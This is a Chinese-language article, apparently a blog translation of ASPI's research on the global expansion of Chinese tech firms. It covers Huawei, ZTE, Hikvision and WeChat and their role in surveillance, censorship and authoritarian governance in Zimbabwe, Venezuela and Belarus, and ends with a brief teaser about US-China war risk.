随着其日益全球化的规模和范围的扩张，中国的科技巨头可以对世界各地的行业和政府施加越来越大的影响力。中国企业与中国共产党之间的密切关系意味着中国科技巨头的扩张不仅仅是商业层面的。

一个关键的研究问题包括：这种扩张的地缘政治战略、政治利益和对人权的影响是什么？通过绘制中国12家最大和最具影响力的技术公司的全球扩张足迹，该图解涉及多个领域，提供了新的数据和分析，以帮助回答这些问题。

所有中国公司都受到中国当局日益严格的安防、情报、反间谍和网络安全法的约束；其中包括，例如，对于任何有三个及以上正式党员主持的内部党委会的企业，都被要求在公司内部提供党派活动，并被要求根据国家情报法与情报部门合作，并隐瞒参与情报工作的事实。(Hoffman & Kania, 'Huawei and the ambiguity of China's intelligence and counter-espionage laws'.)

本研究中包括的几家公司也直接参与了中国的侵犯人权行为，包括据报在新疆拘留了多达150万维吾尔族穆斯林。从通信监控、到能够进行精确的和大规模监控的面部识别技术，均来自这些公司和其他公司，这些技术对于中共构建监控网络以控制全社会的目标来说至关重要。（上述"其他公司"其中最瞩目的就是美国公司，具体报告详见顶

部菜单“Evil-doing”- “谁在帮中国”）

自2015年以来，中国每年都在年度网络自由指数榜单中排名最后。中共毫不掩饰其出口互联网管制和数据“主权”概念的愿望，还包括出口到世界各地的网络审查制度和技术。（Samantha Hoffman, Social credit: technology-enhanced authoritarian control with global consequences, ASPI, Canberra, 28 June 2018）

这项研究表明，中国科技公司正在协助监视，并为威权政权和发展中国家提供先进的监视技术和专业知识，后者国家均面临政治稳定、治理和法治的挑战。

在进行这项研究时，ASPI 的国际网络政策中心（ICPC）利用中英文开源信息跟踪中国12家主要科技公司的国际业务和投资：华为、中兴、腾讯、百度、中国电子科技集团公司（CETC）、阿里巴巴、中国移动、中国电信、中国联通、海康威视和华大基因。

这项研究已经编入一个 ICPC 正在向公众免费提供的在线数据库中。虽然它包含1,700多个项目和17,000多个数据点，但并非详尽无遗。该项目欢迎并鼓励公众通过网站提交数据，帮助数据集更加完整。

—— 数据库 ——

「图」

在整个2018年，ICPC 经常收到媒体和利益相关者关于中国科技公司国际活动的问题; 例如，关于华为在特定地区的运营情况、以及百度或微信在中国境外的使用情况等等。

这些问题总是难以回答，因为缺乏公开的定量和定性数据，其中一些公司几乎没有披露影响数据、安全性、隐私、言论自由和审查制度的政策。可获得的信息分布在各种来源中，尚未汇编。对可用来源的深入分析还需要强大的中文能力、对中国国家融资结构的理解，以及在移动、更改甚至删除网页时使用互联网归档服务的技巧。

- 深度调查过程中经常会遇到您想要的信息/内容/网站已被删除的棘手情况，IYP 介绍过这种情况下可以怎么办，详见《盗墓 OSINT》

阻碍透明度的另一个障碍是中国媒体越来越多地受到中共的控制，并且几乎不会发表调查性报告，这严重限制了可用的媒体来源。例如，

美国互联网公司（尤其是 Facebook）的全球扩张和影响力在过去几年中得到了极大的关注和深度调查。大部分调查来自独立媒体、学术界和民间社会，并将继续来自独立媒体、学术界和民间社会。

推荐 IYP 曾经做过的开源深度调查，揭露政治旋转门，给中国的民间调查组织提供一些思路：

- 《深层政治：Facebook金字塔的人形肌理》
- 《非物质劳动和数据收集：Facebook 的算法工厂（1）》
- 《深挖监视资本主义，数字极权是如何折腾你的：Facebook 的算法工厂（2）》

然而，至少目前为止，在涉及中国科技和社交媒体公司时，往往缺乏同样深度的调查。中国巨头科技公司的绝对能力、其延伸力和影响力，以及塑造、限制和推动其全球行为的独特的党国环境，使他们与其他在世界各地扩张的大型科技公司有所区别。

该数据集项目旨在：# 通过绘制其主要海外业务点，分析中国科技巨头关键样本的全球扩张。

- 向公众提供对治理结构和党国政治的分析，这些公司已经参与其中并与之形成了深刻的联系。

1. 阿里巴巴

- 百度
- BGI
- 中国电子科技集团（CETC）
- 中国移动
- 中国电信
- 中国联通
- 海康威视（CETC的子公司）
- 华为
- 腾讯
- Wuxi
- 中兴

1. 详细报告‘：关于中国如何通过 BRI 实现高堡奇人式数字科技争霸局面《数字威权主义的兴起: 灾年之畔》

中国公开承认了其影响技术规范和标准的国际发展之雄心。（Elsa

Kania, Samm Sacks, Paul Triolo, Graham Webster, ‘China’s strategic thinking on building power in cyberspace: a top party journal’s timely explanation translated’, New America, 25 September 2017）

中共认识到开放互联网对权力构成的威胁，以及相反，其自身在全球网络空间中的优势可以通过扩大控制来实现。（Adam Segal, ‘When China rules the web: technology in service of the state’, Foreign Affairs, September–October 2018, online; Samm Sacks, ‘Beijing wants to rewrite the rules of the internet’, The Atlantic, 18 June 2018, online; Elliott Zaagman, ‘Cyber sovereignty and the PRC’s vision for global internet governance’, China Brief, Jamestown Foundation, 5 June 2018）

在2017年最重要的中共期刊上发表的一篇文章中，中国网管局（中国最高互联网监管机构）的官员写道，需要制定控制措施，以便“党的思想始终成为网络空间中最强大的声音”。这包括提升“阿里巴巴，腾讯，百度和华为等互联网公司的全球影响力，并努力推动中国将互联网治理的主张推向国际共识”。（Sarah Cook, ‘China’s cyber superpower strategy: implementation, internet freedom implications, and US responses’, written testimony to House Committee on Oversight and Government Reform, Freedom House, 28 September 2018, online; Kania et al., ‘China’s strategic thinking on building power in cyberspace: a top party journal’s timely explanation translated’.）

中国网络空间管理局的官员写道，“网络空间已经成为全球治理竞争的新领域，我们必须全面加强网络空间的国际交流与合作，推动中国互联网治理的主张成为国际共识。”（Elsa Kania, Samm Sacks, Paul Triolo, Graham Webster, ‘China’s strategic thinking on building power in cyberspace: a top party journal’s timely explanation translated’, New America, 25 September 2017）

其中几家中国的科技公司被特别引用作为这项努力的一部分：“阿里巴巴，腾讯，百度，华为等互联网公司的全球影响力正在上升。”（Elsa Kania, Samm Sacks, Paul Triolo, Graham Webster, ‘China’s strategic thinking on building power in cyberspace: a top party journal’s timely explanation translated’, New America, 25 September 2017）

为了进入中国市场，西方科技公司因为妥协中国当局而受到广泛而激烈的批评，这通常涉及限制言论自由、或潜在地协助侵犯人权的行

为。（David Meyer, ‘Biotech giant Thermo Fisher stops selling DNA sequencers in repressive Chinese region’, Fortune, 21 February 2019, online; Pui-Wang Tam, ‘Daily report: Facebook courts China with censoring software’, New York Times, 23 November 2016, online; Paul Mozur, ‘In China, Facebook tests the waters with a stealth app’, New York Times, 11 August 2017, online; Ryan Gallagher, ‘Google is conducting a secret “performance review” of its censored China search project’, The Intercept, 28 March 2019, online; Arjun Kharpal, ‘Microsoft says facial recognition firm that Beijing allegedly uses to track Muslims is lying about a “partnership”’, CNBC, 15 March 2019, online; Lindsay Gorman, Matt Schrader, ‘US firms are helping build China’s Orwellian state’, Foreign Policy, 19 March 2019, online; Andy Greenberg, ‘Apple’s China-friendly censorship caused an iPhone-crashing bug’, Wired, 10 July 2018）

这种关注是有道理的，应该继续下去。然而，奇怪的是，到目前为止，全球消费者对开发和部署先进技术的中国企业的批评程度依旧较低，这些技术现在正支撑着中共控制和压制全社会的能力，并且可以通过出口以实现对其他国家人口的类似控制。（China has turned Xinjiang into a zone of repression—and a frightening window into the future’, Washington Post, 23 February 2019, online (paywall); Financial Times, online (paywall); ‘Big Data fuels crackdown in minority region’, news release, Human Rights Watch, 26 February 2018）

数字化威权主义的“中国模式”正在全球流动。越来越多的国家开始使用技术进行镇压、审查、互联网关闭，以及针对博主、记者和人权活动家的打压，正在成为全世界伪民主政权的标准做法。更多相关内容详见《数字威权主义的兴起: 灾年之畔》

中国科技巨头为各种政府提供电信硬件、先进的面部识别技术和数据分析工具，这些政府的人权记录很差，这不仅令地方当局的压制从中受益，而且令中国的情报部门从中受益。

记者无国界组织也对中国科技公司参与压制言论自由和破坏新闻业的行为表示震惊：

从消费者软件应用程序到政府监控系统，中国高科技公司试图出口的产品为*[*其他专制*]*政权提供了重要的审查和监视能力……*2018*年*5*月，这些公司被招募进入中国互联网协会（*CFIS*），该协会公开旨在

促进中国共产党的存在。中国的高科技为该政权提供了一种特殊的影响力和控制工具，现在它正试图超越中国的边界。（China’s pursuit of a new world media order, Reporters Without Borders）

推翻数字威权主义的实践以及支撑这些实践的规范和价值观，需要对其传播方式有清晰的理解。例如，对 BRI 的一项研究发现，包括数字项目在内的一些 BRI 项目的结构方式引起了对东道国主权受侵蚀的严重担忧，包括，受援国政府无法完全控制通过这些项目生成的运营、管理、数字基础设施或数据。(For example, Zimbabwe’s strategic partnership with CloudWalk Technology; Kliman et al., Grading China’s Belt and Road.)

当然，主权政府最终应对其行为负责。而且，如果他们不这样做，媒体、民间社会和公众都有办法让他们承担责任。

但是，公司也在这个领域负有责任，这就是许多敏感和军民两用技术受出口管制的原因。在发展中国家，由于治理、立法和监管能力，透明度和腐败等方面的挑战，国家也许不太能够或不太愿意这样做，因此公司需要对新技术的使用方式负责。

事实上，目前为止这一切都被证明失败，监视技术的出口管制法案基本没有发挥作用，众所周知以色列的NSO技术在土耳其使馆杀死了沙特籍美国华盛顿邮报专栏作家，而这只是无数案例中的一个而已。关于西方国家及其盟友如何协助专制国家镇压其人民的详细报告，见本网站“监视和操纵”栏目[The Tyranny You Don’t See]、关于以色列为什么是其中最强大的监视技术提供商详见“以色列和NSO”部分[Evil-doing]

现在，这一恶劣的全球性气候中还要加上中国。以下案例研究被选中作为中国科技公司经常在中国政府资助下帮助威权政权破坏人权、以及在世界各地发挥政治影响力的方式的例证。

监控城市：华为的“智能城市”项目 ——

所谓“智能城市的详细报告”，见《“智能城市”究竟是个什么鬼？！》类目“关于智能[间谍]家居/城市”。

关于中国科技公司全球扩张的重要和未被充分考虑的部分涉及复杂监控技术和所谓的“公共安全解决方案”的激增。华为在这一领域尤为突出，包括首次引入先进监控技术到发展中国家。（‘A better connected world’, BBC Future, no date）

截至2019年4月，已经收集到75个所谓的智能城市项目，其中大部分涉及华为。这些项目 – 通常被委婉地称为“安全城市”项目 – 包括提供监控摄像头、指挥和控制中心、面部识别和车牌识别技术、数据实验室、情报融合功能、以及用于紧急情况的便携式快速部署系统。（Huawei refers to these projects or solutions as ‘safe cities’, ‘smart cities’, ‘public security projects’ and ‘public safety projects’.）

华为所谓的“公安解决方案”项目的增长迅速。例如，据报道，该公司的“海思”芯片已经占全球安防行业芯片的**60**%。

2017年，华为列出了40个引入智能城市技术的国家; 据报道，到2018年，这一覆盖面增加了一倍多，达到90个国家（包括230个城市）。由于缺乏细节或定义上可能存在差异，该项目目前准确覆盖**43**个国家。[Zhang Dong, ‘Tackling security, does Huawei have a chance?’, trans. Jeffrey Ding, 31 August 2018；Matt Schrader, Huawei’s Smart Cities and CCP influence, at home and abroad, Jamestown Foundation, 19 June 2018；‘Huawei Safe Cities: Serbian Security Guards Pioneer of Major Event Protection’ (华为平安城市：塞尔维亚安全卫士 重大赛事保障先锋), Huawei website, 22 August 2019]

研究发现，在许多发展中国家，中国进出口银行（由中国政府全资拥有）提供的贷款出现了指数级的增长。这些贷款提供给外国政府，据说条件是：所使用的承包商必须是中国公司。（Danielle Cave, ‘Witnessing an opaque Pacific power shift’, The Interpreter, 5 September 2016；Matthew Dornan, Philippa Brant, ‘Chinese assistance in the Pacific: agency, effectiveness and the role of Pacific island governments’, Asia and the Pacific Policy Studies, 11 June 2014, online; Veneranda Langa, ‘$1bn China Exim Bank loan conditions too stringent’, Zimbabwe Situation, 30 December 2016, online; G Smith, G Carter, XJ Mao, A Tararia, E Tupou, WT Xu, The development needs of Pacific island countries, UNDP China, Beijing, 2014）

在审查的许多例子中都显示，华为获得了主要的合同；在某些情况下，合同由中国国有企业管理的，华为作为监视设备和服务提供商扮演“次级”角色。

所谓的智能城市技术可以为使用它们的国家政权带来实质性的好处。例如，在新加坡，增加对数字服务的访问以及利用“物联网”（用于交通控制、医疗保健和视频监控）的技术的使用已经帮助了公民流动性和生产力的提高。（Navin Sregantan, ‘Singapore tops global smart

city performance ranking in 2017: study’, Business Times, 13 March 2018）

然而，在许多情况下，华为的所谓“安全城市解决方案”侧重于引入新的警察能力，包括在厄瓜多尔、巴基斯坦、菲律宾、委内瑞拉、玻利维亚和塞尔维亚等国家。其中许多国家在治理和稳定措施方面排名很差，有些甚至特别差，充满暴力、腐败和缺乏法治。不出所料，在一些国家已经造成了一系列政治问题，包括涉嫌腐败、不透明的金钱交易，运营和持续维护问题，以及涉嫌国家安全问题。（Link to ECU 911 Ecuador; Charles Rollet, ‘Ecuador’s all-seeing eye is made in China’, Foreign Policy, 9 August 2018）

审查和镇压：帮助津巴布韦的威权主义 ——

中国设定的榜样越来越被非民主政权 —— 甚至被一些民主政府 —— 所接受，“证明了自由开放的互联网对发展既不必要也不可取”。“如果中国可以在没有自由互联网的情况下成为世界强国，为什么其他国家还要自由上网呢？”据报道，这是一位不愿透露姓名的非洲领导人对媒体说的。（Emeka Umejei, ‘The imitation game: will China’s investments reshape Africa’s internet?’, Power 3.0, 6 December 2018）

例如，中国科技公司在津巴布韦的商业交易与中共对该国专制政权的支持密切相关。中国是津巴布韦最大的外国投资来源，部分原因是西方国家对该政权实施了制裁。津巴布韦总统埃默森·姆南加格瓦当选后的首次外国出访目的地就是中国，他是要亲自感谢习近平主席和中国的支持以帮助津巴布韦反对西方的制裁，并呼吁两国加强经济技术合作。（Justina Crabtree, ‘Zimbabwe is intent on “leapfrogging 18 years of isolation” with China’s help’, CNBC, 3 April 2018）

中国公司在津巴布韦的电信部门中发挥着核心作用。华为已经与国有的蜂窝网络提供商 NetOne 签订了数百万美元的合同，其中一些已成为腐败指控的主题。华为的几个津巴布韦项目都是通过中国政府贷款融资的。（Tawanda Zinyama, Contracting out: the role of public procurement in Zimbabwe, University of Zimbabwe, no date；‘NetOne secures Huawei financing; ICT Minister under the spotlight’, TeleGeography, 3 January 2018, online; Nkechinyere Uwajumogu, ‘Foreign direct investment and sub-Saharan Africa’s domestic entrepreneurial development: a comparison between China’s inflow and United States of America’s inflow’, ResearchGate, August 2017）

中兴通讯在该国也占有重要地位（并且也是腐败指控的主题）。（‘ZTE solar tender “under probe”’, Sunday Mail, 27 March 2016）

其中包括与中国国家开发银行合作，在2015年向津巴布韦最大的电信公司 Econet 提供5亿美元贷款；中兴通讯此前为 Econet 的3G网络提供设备，包括无线电基站。津巴布韦电信提供商目前欠华为和中兴以及爱立信数百万美元。（‘Econet secures $500 million loan facility from the Chinese government’, myZOL, 4 December 2015；‘Ericsson, ZTE resume work with Econet’, Zimbabwe Independent, 8 August 2008；Tatira Zwinoira, ‘Network disruptions to continue’, NewsDay, 7 March 2019）

中共和中国公司不仅帮助津巴布韦领导人抵制制裁的影响；他们还为政权的威权实践提供了一种模式和手段，以便在线和线下“进入数字时代”。

至少从2016年开始，津巴布韦政府一直在考虑制定严厉的新法律来限制社交媒体，当时官方监管机构向网民发出了不祥的警告，要求“生成、传递或分享此类内容材料的人将受到处罚”。同年，又通过了一项法律，允许当局抢走私人设备，以防止人们使用社交媒体。（Potraz, ‘Warning over social media abuses’, Bulawayo 24News, 6 July 2016；Peta Thornycroft, ‘New Zimbabwe law allows seizure of smartphones and laptops as Mugabe turns on social media’, The Telegraph, 7 August 2016）

在2019年初，政府封锁了社交媒体，并在反对燃油价格上涨的抗议活动中强行切断了互联网。信息部长能源 Mutodi 表示，’社交媒体被犯罪分子用来组织动员……这就是为什么政府必须……阻止[互联网]”，因为 Mutodi 宣布了即将出台的所谓“网络犯罪法“，将社交媒体的使用定为刑事犯罪。（‘Zimbabwe activists push back on social media restrictions’, VOA News, 7 February 2019）

政府公开将中国视为控制社交媒体的*典范*，包括创建一个网络安全部门，一位发言人称其为“像用来捉老鼠的陷阱”。（‘Govt to regulate social media’, Sunday News, 10 April 2019；Andres Kunambura, ‘Mugabe explains functions of cyber security ministry’, Nehanda Radio, 11 October 2017）

据报道，这个“陷阱”的一部分来自中国。据报道，2018年，中国与俄罗斯和伊朗一道，一直在帮助津巴布韦建立一个设施，以部署由中国“最大的电信公司之一”出售给该国政府的“复杂监控系统”。鉴于描

述和背景，这里所指的电信公司可能是华为或中兴，似乎是合理的推测。（Itai Mushekwe, ‘China, Russia and Iran helping Zimbabwe to set-up own NSA’, Bulawayo 24News, 23 March 2018）

政府越来越希望将其监控能力从在线空间扩展到现实世界。该政权与中国公司就物理监控系统签署了多项协议，其中包括与中国公司 CloudWalk 合作的有争议的大规模面部识别系统。（Amy Hawkins, ‘Beijing’s Big Brother tech needs African faces’, Foreign Policy, 24 July 2018）

该国政权也有兴趣开发自己的本土面部识别技术，并与 CETC 子公司海康威视合作。海康威视已经为警察和交通控制系统提供监控摄像头。2018年，津巴布韦当局与该公司签署了一份谅解备忘录，以在穆塔雷实施所谓的“智能城市”计划。这包括捐赠配备深度学习人工智能（**AI**）系统的面部识别终端。（‘Chinese company to mount surveillance cameras’, NewsDay, 31 August 2018）关于海康威视，更多详见类目“谁在帮中国”-[Evil-doing]。

政府在一份媒体声明中表示：

该软件旨在与面部识别硬件集成，这些硬件将由当地开发商根据政府推动本地 *ICT* 行业的发展计划在当地制造，使津巴布韦成为非洲头号国家，带头进行面部识别监控和人工智能全国范围使用的制度。（Farai Mudzingwa, ‘Government Acknowledges Facial Recognition System In The Works’ Techzim, 13 June 2018）

国民身份证计划：委内瑞拉的“祖国卡” ——

「图」

中国的科技公司参与了全球的国家认同计划。其中一个最令人关注的例子是委内瑞拉的政治和人道主义危机。路透社于2018年进行的一项调查指中兴通讯在激励和实施马杜罗政权的“祖国卡”计划中发挥的核心作用。（Angus Berwick, ‘How ZTE helps Venezuela create China-style social control’, Reuters, 14 November 2018）

“祖国卡“（Carnet de la Patria）记录持有人的个人数据，例如他们的生日、家庭信息、就业、收入、拥有的财产、病史、收到的国家福利、在社交媒体上的存在、党派成员资格、以及政治表决历史记录。

虽然该卡在技术上是自愿的，但如果没有它，委内瑞拉人就无法获得

政府补贴的食品、药品或汽油。在委内瑞拉的政治危机中，“自愿”登记该卡对许多人来说根本不是可选择的。事实上，尽管存在将个人数据移交给日益不稳定和压抑的政权的风险，但人们正在排队等待数小时以领取该卡。（Jim Wyss, Cody Weddle, ‘Venezuela’s Maduro aims to turn empty stomachs into full ballot boxes’, Miami Herald, 16 May 2018, online; Fabiola Zerpa, Patricia Laya, ‘In Venezuela, the only way to cheap gas is through Big Brother’, Bloomberg, 29 August 2018；Gaby J Miller, ‘Of fear & hope: embracing the Carnet de la Patria’, Caracas Chronicles, 11 January 2018）

中兴通讯与政府签订合同，建立底层数据库和随附的移动支付系统。一个由中兴通讯员工组成的团队与管理数据库的委内瑞拉国家电信公司 Cantv 合作，以帮助维护该系统。中兴通讯还帮助建立了一个集中化的政府视频监控系统。

有人担心祖国卡计划已被作为干涉民主进程的工具。在2018年的选举期间，观察员报告说，在投票中心附近甚至投票中心内部都设立了信息亭，鼓励选民扫描他们的卡以登记“fatherland prize”。扫卡的人后来都收到了短信，感谢他们投票给马杜罗（尽管他们从未获得过承诺的奖品）（Scott Smith, Joshua Goodman, ‘Venezuela keeps voting stations open amid light turnout’, CTV News, 20 May 2018）

当局声称这些卡只是记录了一个人是否投票，而不记录他们投票给谁。然而，路透社采访的组织者声称政府已指示他们告诉选民投票记录可以被追踪。无论事情的真相如何，甚至有关政府可能正在监视投票的传言，都可能会影响人们投票的方式。

除了选择性的社交媒体阻塞、和完全的互联网关闭之外，还有更多阴险攻击的证据。例如，反对派设立的协调人道主义援助的网站受到DNS劫持攻击，包括盗窃了可能数千名亲反对派志愿者的个人数据。（‘Social media shutdown in Venezuela is a warning of what is to come as political tensions rise’, AccessNow, 22 January 2019；‘Evidence of regional internet blackouts across Venezuela’, Netblocks, 27 January 2019；‘DNS manipulation in Venezuela in regards to the humanitarian aid campaign’, Kaspersky, 13 February 2019）

据报道，委内瑞拉政府运营的电信公司 Cantv“依赖与中兴通讯和华为达成的协议，提供设备和员工……并且将其员工派往中国接受培训。”这些交易由委内瑞拉中国联合基金资助。中国被称为DNS封锁和操纵领域的国际领导者，中国政府大力支持委内瑞拉政权，包括针

对社交媒体用户的打击，因为他们发布或分享批评政权的内容（Service? Don’t rely on Venezuela’s state telecoms firm Cantv；China Targets Twitter Users Critical of Venezuela’s Maduro 2019-02-11）

塑造白俄罗斯的政治和政策 ——

「图」

在世界的某些地方，中国的科技公司正在通过发展与各国政府的高层关系来帮助塑造新技术的政治和政策。

白俄罗斯一直被称为“欧洲最后一个独裁政权”，自1994年以来该国一直处于专制强人亚历山大·卢卡申科的控制之下。近年来，与中国的关系不仅在白俄罗斯与其强大邻国的微妙外交关系中发挥了越来越重要的作用，而且，在其非常复杂的国内暴力镇压政策中也发挥了越来越重要的作用。这包括利用数字技术进行大规模监视，以及对活动家、记者和政治反对者进行有针对性的迫害。（BELARUS: “IT’S ENOUGH FOR PEOPLE TO FEEL IT EXISTS” : CIVIL SOCIETY, SECRECY AND SURVEILLANCE IN BELARUS, 7 July 2016）

自2011年以来，华为一直为卢卡申科政权提供视频监控和分析系统，并至少自2014年以来一直为边境监控设备提供协助。同样在2014年，华为当地子公司 Bel Huawei Technologies 推出了两个“智能远程监控系统”研究实验室，为 Promsvyaz，Beltelekom，HSCC 和其他组织的专家提供“实验室培训……”。（Huawei opens two laboratories in Belarus, 08 September 2014）

在过去几年中，白俄罗斯政府与中国科技公司之间的合作迅速扩大，与白俄罗斯与 BRI 的接触以及卢卡申科政权与中共之间深化的外交和经济联系保持一致。（China, Belarus and the bear in the room, 31 Jan 2019）

2019年3月，白俄罗斯公布了信息安全法草案。“这纯粹是我们自己的产品。我们没有向任何人借钱，“ 安理会国务秘书斯坦尼斯拉夫·扎斯告诉白俄罗斯国家媒体。(Draft Belarus information security concept presented to head of state, 12.03.2019)

然而一天后，中国驻白俄罗斯大使就“白俄罗斯和中国公司如何在网络和信息安全领域建立密集合作”以及两国“扩大在网络安全领域和合作’问题发表了讲话。（Belarus, China interested in tighter

cooperation in cyber security, 13.03.2019)

华为在这个过程中在多个层面发挥了特别突出的作用。它继续并扩大了向白俄罗斯人提供的培训，包括派遣学生到中国学习，并与白俄罗斯国家通信学院签署了一个联合培训中心的协议。（Huawei, Belarusian State Academy of Communications to set up joint training center, 02.05.2018）

与此同时，华为也在发挥政治和政策影响力。 2018年5月，该公司发布了白俄罗斯共和国的国家ICT优先事项。该提案包括对“公共安全”技术的建议，如视频监控和无人机，以及公民身份识别系统。（Huawei Releases Proposal for Belarus National ICT Priorities, Helping Build an IT Belarus, May 16, 2018）

该文件指出，“白俄罗斯尚未广泛部署综合警察系统，因此可以参考中国深圳采取的解决方案”。深圳警方已经实施了广泛的面部识别计划。（Chinese authorities use facial recognition, public shaming to crack down on jaywalking, criminals, 20 Mar 2018）

在与华为董事会主席会谈启动该计划时，白俄罗斯首相安德烈·科比亚科夫表示，希望：“积累的经验和合作前景将在信息通信发展中发挥重要作用。白俄罗斯的技术以及我们各国之间的友谊更加强大。白俄罗斯政府依靠进一步有效的互动和专业合作”。（Belarus counts on lasting effective cooperation with Huawei, 15.05.2018)

控制信息流 – 微信和社交媒体消息的未来 ——

「图」

微信于2011年推出，迅速成为中国主导的社交网络，并且，在很大程度上努力在海外建立庞大的用户群。该社交媒体月活跃用户数为10.8亿，其中估计有1亿至2亿人在中国境外。（The World’s Most Powerful App Is Squandering Its Lead, WeChat is leaving money on the table.22/07/2018）

东南亚为中国以外的微信市场提供了最肥沃的土壤：该应用在马来西亚拥有2000万用户；在泰国17%的人口都使用中国的微信; 微信还是不丹和蒙古第二大最受欢迎的消息应用程序。（Tourism and technology are fueling WeChat’s spread across China’s neighboring countries, giving it an edge in the coming information wars; ）

微信大幅增加其海外用户群的潜力仍然存在，特别是因为扩张打开了中国用户增长饱和的壁垒，海外扩张变得更加迫切。如果它被用于中国大陆以外的地方，微信将很容易作为传播政治宣传的渠道和作为对阵中国侨民的政治影响力工具。

而且，微信也已经越来越多地被自由民主国家的政治家用来与他们的华人选民进行沟通，这必然意味着沟通受到中共的审查。（What happens when you try to send politically sensitive messages on WeChat, April 18, 2017）

2018年，加拿大警方收到有关涉嫌提供微信贿选的投诉。据报道，一个名为加拿大温州友好协会的团体正在使用该应用程序向选民提供20美元的“交通费”，只要他们参加民意调查并鼓励他们投票给特定的候选人。（Vote-buying allegations in Metro Vancouver elections could lead to erosion of trust, racist backlash, experts say. Oct. 14, 2018）

由于垄断性，微信是中文新闻的主要渠道之一，因此，审查控制有助于北京确保使用该应用程序进行分发的新闻来源仅报道符合中共战略目标的新闻。（How digital media blur the border between Australia and China: Chinese-language social media platforms in Australia are increasingly a focus for local political parties. 19 NOV 2018）

微信不仅是中共的重要影响力和审查工具，而且还有可能促进监视。

国际特赦组织（Amnesty International）对全球即时通讯应用程序进行了排名，研究他们使用加密技术保护在线隐私的能力，其中微信得分为0分（满分100分）。通过微信中国服务器的内容可由中国当局“依法”获取。（How private are your favourite messaging apps? 21 October 2016；Here’s what happens with your data when you use a Chinese messaging app. Chinese social-media and messaging apps are required by law to retain records of conversation content for checks by authorities if required. 4 Jan, 2018）

—— 未来的战略意义 ——

「图」

世界各国和社区正在多大程度上依赖中国的技术公司提供关键服务和基础设施，从铺设电缆到管理城市，对现在和未来的多年都具有重大

的战略意义：

– 破坏民主：也许最大的长期战略问题是中国科技公司 – 以及来自其他国家的技术公司帮助或参与类似行为 – 在数字时代实现威权主义的强大能力，从提供监控技术到自动化大规模审查、以政治异议人士、记者、人权倡导者和边缘化少数群体为目标。最具挑战性的问题是世界各地继续引进现在在新疆进行的恶性和无处不在的监视和镇压模式。

– 间谍活动和知识产权盗窃：中国政府在窃取知识产权方面有很多记录。随着所谓的“智能”技术在私人和公共场所变得越来越普遍，这种风险可能会增加。从全市范围的监控到政治领导人口袋中的电话（或者，在几年内，电视和冰箱都将成为物联网的一部分），政府、私营部门和民间社会都需要认真考虑如何更好地保护他们的信息和设备以防止恶意攻击。

– 技术研发：中国公司正在将研究和开发领域引领到一系列创新和战略敏感的新兴技术中。迅速的全球扩张步伐为他们提供了关键的资源，例如庞大而多样的数据集、以及对世界上最好的研究机构和大学的访问权限。然而，中共的战略、政治和意识形态目标 —— 已经指导并资助了大部分研究 —— 这点不容忽视。从人工智能到量子计算再到生物技术，主导这些技术的国家将对技术发展方式产生重大的影响，例如通过塑造人工智能系统内置的道德规范和价值观，或人类基因改造领域的进展。这些领域的主导地位将使各国在从经济竞争到军事冲突等各方面都具有重要的战略优势。

– 军事竞争：在与中国的军事竞争中，中国政府当然会寻求利用其对中国公司向其敌人提供装备和服务的影响力。当考虑各国选择是否允许中国公司参与5G网络等关键基础设施的建设时，该报告中所呈现的信息对各国来说都应该是一个严肃的战略考虑因素，特别是考虑到中共在全球范围内表现得越来越自信和强制。

对于中国在南中国海等地区的领土声索已经达到紧张状态的相关国家来说，这个问题尤其严重。例如，2016年，在联合国支持的法庭裁决驳回了中国的诉讼请求之后，涉嫌来自中国的黑客袭击了越南两个主要机场的公告和通讯系统，包括“用越南语和菲律宾语显示亵渎和冒犯性的信息” ”。（Chinese hackers take down Vietnam airport systems. A group of hackers linked to China have allegedly compromised systems at major Vietnamese airports.）

对越南航空公司的入侵导致超过40万乘客的数据丢失。越南信息和通

信部长表示，政府在袭击事件发生后正在“审查中国的技术和设备”。网络安全公司 FireEye 表示，观察到越南的政府和企业目标一直被瞄准，这些目标被怀疑与南中国海争端有关。（Spyware deluge hits Vietnam sites amid South China Sea spat, AUG 10, 2016; ）

5G基础设施的建设应该是一个特别关注的领域。 2019年3月“中国国防报告”中的一篇文章讨论了中国5G在“智能化”战争中的军事应用。’军事活动正加速进入智能化领域，空战平台、精确制导等领域将从’准确’转变为’全面智能化’。基于5G的人工智能技术肯定会加速这些领域的发展，“该 作者写道，他们似乎是西安电子科技大学和解放军陆军指挥学院的研究人员。

—— 结论 ——

「图」

毫无疑问，中国企业为全球科技行业做出了贡献，包括为尖端研究做出贡献，推动了技术发展，为全球提供了价格合理的设备和服务。他们将继续在世界各国政府、公司和公民彼此联系的方式中发挥重要作用。

然而，与此同时，重要的是要认识到这些公司的活动不仅仅是商业活动，在某些情况下还需要作出政治性风险评估。

中共自己的政策和官方声明清楚地表明，它认为中国科技公司的扩张是其更广泛的意识形态和地缘政治扩张项目的重要组成部分。嵌入技术公司的中共党委以及公司与中国政府之间的密切关系（无论是通过直接所有权、法律义务或融资协议，包括贷款和利润丰厚的合同）使他们很难成为政治中立的参与者，一些公司可能会更喜欢这样。

还有一个合理的问题是全球消费者是否应该要求对中国技术公司进行更严格的审查，以阻止中国和其他地区的人权侵犯行为。

世界各国政府正在努力应对与中国企业合作的政治和安全问题，特别是在关键基础设施领域，例如5G领域，以及可能涉及敏感或军民两用技术的合作研究伙伴关系。

但是，这场斗争明显缺乏对塑造、限制和推动中国公司全球行为的独特党国环境的深入理解。希望有更多项目旨在帮助填补这一空白，尤其是来自中国内部的深度调查项目，以便政策制定者、行业和民间社会在与中国的科技巨头合作时做出更明智的决策。

在这里获取该图解和数据：https://chinatechmap.aspi.org.au/#/splash/

原文

在拜登任期内，美国和中国会在西太平洋擦枪走火吗？ - iyouport

关于高堡奇人

冲突并不总是由于计划和意图而开始的

【注】最近很热门的《2034》这部小说出版于拜登上台之际，很可能是有原因的。虽然这部预测“第三次世界大战”的作品本身没那么有趣，但对于中美之间的战争可能性的预测是多年来很多研究人士和观察家的共识。他们之间的另一个共识是，他们都明白那会是多大的灾难。

去年底的对话中我们谈到过中美关系的前景，也提到了拜登会延续特朗普的外交路线，如果不是升级它的话（这不好说）；因为这是到了一个美国认为“不得不”的时刻。因此，如果您仅仅是喜欢特朗普的外交态度而支持特朗普，您就完全不必支持特朗普。

但这远非足够。不要被社交媒体刷存在感的小游戏所操纵，这里的人们以支持还是反对的个人立场标榜自己，其中绝大多数人的心里都没有放入对现实的理解。战争不是游戏，尤其是全世界军事力量最强大的两个大国之间的战争前景，它将把所有人拉入地狱。

